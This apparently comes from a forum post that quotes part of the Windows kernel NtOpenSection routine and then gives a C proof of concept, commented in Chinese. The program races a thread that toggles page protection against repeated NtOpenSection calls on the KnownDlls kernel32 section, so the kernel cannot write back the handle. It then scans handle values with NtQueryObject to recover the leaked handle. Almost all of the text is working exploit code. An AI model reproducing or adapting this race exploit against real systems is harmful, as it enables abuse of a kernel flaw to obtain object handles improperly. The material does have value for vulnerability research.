HANDLE Handle;
    KPROCESSOR_MODE PreviousMode;
    NTSTATUS Status;

    PAGED_CODE();
    //
    // Get previous processor mode and probe output arguments if necessary.
    //

    PreviousMode = KeGetPreviousMode();
    if (PreviousMode != KernelMode) {
        try {
            ProbeForWriteHandle(SectionHandle);
        } except (EXCEPTION_EXECUTE_HANDLER) {
            return GetExceptionCode();
        }
    }

    //
    // Open handle to the section object with the specified desired
    // access.
    //

    Status = ObOpenObjectByName (ObjectAttributes,
                                 MmSectionObjectType,
                                 PreviousMode,
                                 NULL,
                                 DesiredAccess,
                                 NULL,
                                 &Handle);

    try {
        [COLOR="sienna"]*SectionHandle = Handle;[/COLOR]
    } except (EXCEPTION_EXECUTE_HANDLER) {
        return Status;
    }

    return Status;

UNICODE_STRING uniname = RTL_CONSTANT_STRING(L"\\KnownDlls\\kernel32.dll");

void Feidiaoneicun(PVOID pNeicun)
{
	ULONG oldp ;
//备注：尝试了几次修改线程优先级，没什么效果，系统调度还是比较复杂，光靠在RING3瞎猜，还是很难把握。	

	while(TRUE)
	{
		//先把内存改为不可写,这样若在写入section handle时，就会失败
		VirtualProtect(pNeicun , 0x1000 , PAGE_READONLY , &oldp);
		Sleep(0);
		//把内存改为可写，这样可过probeforwrite
		VirtualProtect(pNeicun , 0x1000 , PAGE_READWRITE , &oldp);
		Sleep(0);
	}
	return ; 
}
int main(int argc, char* argv[])
{
	HMODULE hmod = LoadLibrary("ntdll.dll");
	PVOID pOpen = GetProcAddress(hmod , "NtOpenSection");
	PVOID pQuery = GetProcAddress(hmod , "NtQueryObject");
	PHANDLE pSecHandle = (PHANDLE)malloc(0x4000);
	PVOID pNameBuff = malloc(0x1000);
	OBJECT_ATTRIBUTES oba ; 
	ULONG HandleCount ; 

	//获取初始化的句柄个数
	GetProcessHandleCount(GetCurrentProcess() , &HandleCount);
	ULONG times = 0 ; 
	

	InitializeObjectAttributes(&oba , &uniname , 0 , 0 ,0  );

	ULONG tid ; 

	//创建干扰线程
	HANDLE hThread = CreateThread(0 , 0 , (LPTHREAD_START_ROUTINE)Feidiaoneicun ,pSecHandle, 0 , &tid);
	
	CloseHandle(hThread);

	printf("init handle value = %u\n" , HandleCount);
	getchar();

	while(TRUE)
	{
		printf("try %u\n" , times);
		LONG stat ; 
		ULONG newhandlecount ;

		//调用API
		__asm
		{
			lea eax ,oba
			push eax
			push 4
			push pSecHandle
			call pOpen
			mov stat , eax
		}

		//获取新的句柄个数
		GetProcessHandleCount(GetCurrentProcess() , &newhandlecount);

		HANDLE handlevalue = *pSecHandle ; 
		printf("stat = %08x SectionHandle = %x HandleCount = %x\n" , stat , handlevalue , newhandlecount);


		//如果成功了，那么关闭打开的句柄
		if (stat == 0 )
		{
			//getchar();
		

			CloseHandle(handlevalue);
		}
		//如果不成功，但是handlecount发生了变化，那么说明有新的句柄产生
		
		//这可能是多线程攻击成功了，也可能是系统触发了一个句柄的增加
		
		//我们检查所有的句柄，看新增的里有没有我们想要的

		else if (newhandlecount != HandleCount)
		{
			ULONG i ; 
			ULONG retlen ; 
			ULONG handlequeryed = 0 ; 
			for (i = 4 ; i < 0xffffffff ; i +=4)
			{

				__asm
				{
					lea eax ,retlen 
					push eax
					push 0x1000
					push pNameBuff
					push 1
					push i 
					call pQuery
					mov stat , eax
				}
				//zwquery object 取名字
				if (stat == 0)
				{
					PUNICODE_STRING pUniName = (PUNICODE_STRING)pNameBuff;
					//存在了

					if (pUniName->Buffer && wcsnicmp(pUniName->Buffer , uniname.Buffer , uniname.Length / sizeof(WCHAR)) == 0 )
					{
						printf("get it\n");
						getchar();
					}
					
					//增加已获得句柄值
					handlequeryed ++ ;
				}
				//如果句柄不是无效（失败的可能还有object 无法query name等)
				else if (stat != 0xc0000008)
				{
					//也增加已获得句柄值
					handlequeryed ++ ; 
					
				}
				//都检查过了，break
				if (handlequeryed == newhandlecount)
				{
					break ; 
				}

			}
			//保存新的句柄值了
			HandleCount = newhandlecount ; 
		}
		times++;

	}
	return 0;
}